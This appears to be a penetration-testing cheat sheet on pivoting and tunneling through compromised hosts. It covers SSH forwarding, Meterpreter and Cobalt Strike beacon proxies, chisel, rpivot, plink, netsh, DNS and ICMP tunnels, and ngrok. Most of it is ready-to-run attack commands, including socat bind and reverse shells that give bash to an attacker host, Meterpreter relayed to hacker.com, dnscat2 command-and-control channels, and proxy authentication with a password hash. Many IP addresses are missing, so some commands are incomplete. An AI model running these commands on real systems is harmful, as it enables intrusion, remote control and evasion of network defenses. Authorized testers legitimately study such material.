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Tunneling and Port Forwarding

Nmap tip

ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery (-Pn) and specify TCP scans (-sT) for this to work.


Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &
# From the host, you can now access InternalB from the Jump server
evil-winrm -u username -i Jump


SSH graphical connection (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X

Local Port2Port

Open new Port in SSH Server --> Other port
ssh -R [email protected] #Local port 1521 accessible in port 10521 from everywhere
ssh -R [email protected] #Remote port 1521 accessible in port 10521 from everywhere


Local port --> Compromised host (SSH) --> Third_box:Port
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>

Port2hostnet (proxychains)

Local Port --> Compromised host (SSH) --> Wherever
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)

Reverse Port Forwarding

This is useful to get reverse shells from internal hosts through a DMZ to your host:
ssh -i dmz_key -R <dmz_internal_ip>:443: [email protected] -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)


You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login: PermitRootLogin yes PermitTunnel yes
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add peer dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add peer dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
Enable forwarding on the Server side
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s -o eth0 -j MASQUERADE
Set a new route on the client side
route add -net gw


You can tunnel via ssh all the traffic to a subnetwork through a host. For example, forwarding all the traffic going to
pip install sshuttle
sshuttle -r user@host
Connect with a private key
sshuttle -D -r user@host 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode



Local port --> Compromised host (active session) --> Third_box:Port
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>


background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 1080" > /etc/proxychains.conf #Proxychains
Another way:
background #meterpreter session
use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET
set NETMASK <Netmask>
use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 1080" > /etc/proxychains.conf #Proxychains

Cobalt Strike

SOCKS proxy

Open a port in the teamserver listening in all the interfaces that can be used to route the traffic through the beacon.
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985


In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
To note:
  • Beacon's reverse port forward always tunnels the traffic to the Team Server and the Team Server sends the traffic to its intended destination, so shouldn't be used to relay traffic between individual machines.
  • The traffic is tunnelled inside Beacon's C2 traffic, not over separate sockets, and also works over P2P links.
  • You don't need to be a local admin to create reverse port forwards on high ports.

rPort2Port local

In this case, the port is opened in the beacon host, not in the Team Server and the traffic is sent to the Cobalt Strike client (not to the Team Server) and from there to the indicated host:port
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]


You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp


You can download it from the releases page of https://github.com/jpillora/chisel You need to use the same version for client and server


./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client R:socks #Client -- Victim
#And now you can use proxychains with port 1080 (default)
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v socks #Attacker

Port forwarding

./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client R:4505: #Client -- Victim


Reverse tunnel. The tunnel is started from the victim. A socks4 proxy is created on
attacker> python server.py --server-port 9999 --server-ip --proxy-ip --proxy-port 1080
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
Pivot through NTLM proxy
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45


Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane


socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &

Port2Port through socks

socat TCP4-LISTEN:1234,fork SOCKS4A:,socksport=5678

Meterpreter through SSL Socat

#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:

SSL Socat Tunnel

/bin/sh console
Create certificates on both sides: Client and Server
# Execute these commands on both sides
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt

Remote Port2Port

Connect the local SSH port (22) to the 443 port of the attacker host
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4: ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim


It's like a console PuTTY version ( the options are very similar to an ssh client).
As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090: #Local port 9090 to out port 9090

Windows netsh


You need to be a local admin (for any port)
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress= listenport=4444 connectaddress= connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress= listenport=4444

SocksOverRDP & Proxifier

You need to have RDP access over the system. Download:
  1. 1.
    SocksOverRDP x64 Binaries - This tool uses Dynamic Virtual Channels (DVC) from the Remote Desktop Service feature of Windows. DVC is responsible for tunneling packets over the RDP connection.
In your client computer load SocksOverRDP-Plugin.dll like this:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
Now we can connect to the victim over RDP using mstsc.exe, and we should receive a prompt saying that the SocksOverRDP plugin is enabled, and it will listen on
Connect via RDP and upload & execute in the victim machine the **SocksOverRDP-Server.exe ** binary:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Now, confirm in you machine (attacker) that the port 1080 is listening:
netstat -antb | findstr 1080
Now you can use Proxifier to proxy the traffic through that port.

Proxify Windows GUI Apps

You can make Windows GUI apps navigate through a proxy using Proxifier. In Profile -> Proxy Servers add the IP and port of the SOCKS server. In Profile -> Proxification Rules add the name of the program to proxify and the connections to the IPs you want to proxify.

NTLM proxy bypass

The previously mentioned tool: Rpivot OpenVPN can also bypass it, setting these options in the configuration file:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm


It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port. For example that forward port 443
Username Alice
Password P@ssw0rd
Tunnel 2222:<attackers_machine>:443
Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222. You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.


A reverse proxy created by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy

DNS Tunneling


Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries.
attacker> iodined -f -c -P P@ssw0rd tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
ssh <user>@ -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080


Establishes a C&C channel through DNS. It doesn't need root privileges.
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=,port=5353

In PowerShell

You can use dnscat2-powershell to run a dnscat2 client in powershell:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

Port forwarding with dnscat

session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen, this bind 8080port in attacker host

Change proxychains DNS

Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.

Tunnels in Go

ICMP Tunneling


Root is needed in both systems to create tun adapters and tunnel data between them using ICMP echo requests.
./hans -v -f -s -p P@ssw0rd #Start listening ( is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping #After a successful connection, the victim will be in the


# Generate it
sudo ./autogen.sh
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p <server_ip> -l <listen_port> -r <dest_ip> -R <dest_port>
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user


ngrok is a tool to expose solutions to Internet in one command line. Exposition URI are like: UID.ngrok.io


  • Create an account: https://ngrok.com/signup
  • Client download:
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit

Basic usages

It is also possible to add authentication and TLS, if necessary.

Tunneling TCP

# Pointing to
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345

Exposing files with HTTP

./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/

Sniffing HTTP calls

Useful for XSS,SSRF,SSTI ... Directly from stdout or in the HTTP interface

Tunneling internal HTTP service

./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"

ngrok.yaml simple configuration example

It opens 3 tunnels:
  • 2 TCP
  • 1 HTTP with static files exposition from /tmp/httpbin/
addr: 4444
proto: tcp
addr: 5555
proto: tcp
proto: http
addr: file:///tmp/httpbin/

Other tools to check